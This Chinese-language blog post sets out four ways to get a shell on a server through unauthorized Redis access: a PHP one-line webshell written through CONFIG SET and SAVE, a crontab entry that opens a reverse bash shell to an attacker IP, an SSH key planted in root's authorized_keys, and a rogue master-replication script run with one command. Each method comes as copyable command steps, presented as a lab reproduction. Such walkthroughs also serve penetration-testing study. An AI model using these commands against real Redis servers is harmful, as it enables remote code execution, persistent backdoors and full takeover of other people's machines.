Redis数据库四种getshell方法研究

一、直接写入webshell

前置条件:已经目标网站的服务路径。(通常利用网站根目录,确保shell文件能被解析)。

步骤如下:

php 复制代码
1.查看 Redis 当前的 dir 配置
CONFIG GET dir
2.修改 dir 为 Nginx 网页根目录
CONFIG SET dir /usr/share/nginx/html
3.修改 RDB 持久化文件名为 PHP 文件
CONFIG SET dbfilename shell.php
4.写入 PHP 一句话木马
SET webshell "<?php @eval($_POST['cmd']);?>"
5.触发 RDB 持久化
SAVE

本地靶场复现截图:

二、定时任务写入反弹Shell​

通过写入 Linux 定时任务(crontab)实现反弹 Shell。这种方式无需依赖 Nginx/PHP 等 Web 服务,是 Redis 未授权访问攻击中更隐蔽、更通用的手段(适配无 Web 服务的 Redis 服务器)。

核心原理:Linux 系统中,crond 守护进程会每分钟检查 /var/spool/cron/root(root 用户的定时任务文件),执行里面的命令;Redis 利用 CONFIG SET 修改持久化目录为定时任务目录、文件名改为 root,将反弹 Shell 命令写入该文件,系统会自动执行命令,让靶机主动连接攻击机的监听端口,实现控制。

前置条件:能连接上redis数据库。

步骤如下:

php 复制代码
首先在kali开启监听端口:nc -lvvp 6666
然后写入定时任务:
1.	修改持久化目录为 CentOS 定时任务目录
CONFIG SET dir /var/spool/cron/
2.	修改 RDB 文件名为 root(对应 root 用户的定时任务文件) 
CONFIG SET dbfilename root
3.	写入反弹 Shell 定时任务命令
SET cron "\n* * * * * /bin/bash -i >& /dev/tcp/192.168.0.241/6666 0>&1\n"
4.	触发 RDB 持久化(将命令写入 /var/spool/cron/root 文件) 
SAVE

截图:

靶机成功上线

三、写SSH公钥登录服务器​

原理:Linux SSH 公钥认证的核心是「客户端(Kali)的公钥写入服务端(CentOS)/root/.ssh/authorized_keys 文件」,服务端 SSH 服务会验证该文件中的公钥,匹配成功则免密码登录。Redis 利用 CONFIG SET 修改持久化目录为 /root/.ssh/、文件名改为 authorized_keys,将 Kali 的 SSH 公钥写入该文件,从而实现免密码登录。

前置条件:

1.受害机器SSH 服务正常运行

2.Redis有权限写入/root/.ssh/

步骤:

先在攻击机上生成SSH密钥对

php 复制代码
1.ssh-keygen -t rsa  #生成密钥对
2.cat /root/.ssh/id_rsa.pub   #查看

步骤如下:

php 复制代码
1.修改持久化目录为 root 的 .ssh 目录
CONFIG SET dir /root/.ssh/
2.修改 RDB 文件名为 authorized_keys(SSH 公钥认证的核心文件)
CONFIG SET dbfilename authorized_keys
3.写入 Kali 的 SSH 公钥(替换为你复制的公钥内容,保留双引号)
SET sshkey "\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDQ...省略...w== root@kali\n"
4.触发 RDB 持久化(将公钥写入 /root/.ssh/authorized_keys)
SAVE

注意:

公钥前后加 \n:避免 Redis RDB 二进制头混入公钥文件,确保公钥单独成行(SSH 对 authorized_keys 格式敏感,多余字符会导致认证失败)

截图:

直接ssh连接成功

​​四:Redis主从复制GetShell​

原理:

  • Redis 主从复制:Redis 支持「主节点(master)- 从节点(slave)」架构,从节点会主动同步主节点的所有数据、配置,甚至能向主节点请求「加载自定义模块」;
  • Redis 模块机制 :Redis 4.0+ 新增 MODULE 命令,允许加载 .so 格式的共享库文件(模块),扩展 Redis 原生命令(比如新增 system.exec 命令来执行系统指令)。

核心优势:相比前三种方式,无需依赖 Web/SSH/crond 服务,无需写入文件,仅利用 Redis 自身机制即可 Getshell,隐蔽性拉满。

版本要求:

  • 适用:Redis 4.0.x/ 5.0.x
  • 不适用:Redis 6.0+(新增模块加载权限校验)、7.0+(防护更严格)

这里我看网上有很多教程,有的比较复杂,这里使用一种最简单的,用一位师傅写的脚本来实现一getshell:

php 复制代码
1.克隆到本地
git clone https://github.com/Dliv3/redis-rogue-server.git
2.切换目录
cd redis-rogue-server
3.一键运行脚本
python3 redis-rogue-server.py --rhost <target address> --rport <target port> --lhost <vps address> --lport <vps port>

--passwd 如果目标Redis服务开启了认证功能,可以通过该选项指定密码

截图:

相关推荐
X7x58 小时前
网络入侵检测系统(NIDS):企业网络安全的守望者
网络安全·网络攻击模型·安全威胁分析·安全架构·nids
秦歌6668 小时前
Agent Skills详解
服务器·前端·数据库
Mahir088 小时前
Redis 分布式锁与 Redisson 深度解析:从原生实现到工业级解决方案
数据库·redis·分布式·缓存·面试
杨云龙UP8 小时前
MySQL主库高峰期备份引发504故障:从库手动切换接管 + 主从恢复同步 + Docker版DB2重启实战_2026-05-17
linux·运维·数据库·mysql·docker·容器·centos
倔强的石头_8 小时前
彻底告别Row-By-Row:标量子查询外连接改写与向量化引擎深潜
数据库
2301_809244538 小时前
如何解决宝塔面板磁盘空间占满问题_使用磁盘清理工具清理
jvm·数据库·python
六月雨滴8 小时前
Oracle 数据库网络安全
数据库·安全·dba
En^_^Joy8 小时前
Django模型:数据库操作全指南
数据库·django·sqlite
六月雨滴8 小时前
Oracle 数据库网络安全之加密配置
数据库·web安全·oracle
2401_867623988 小时前
如何设置用户默认表空间_ALTER USER DEFAULT TABLESPACE
jvm·数据库·python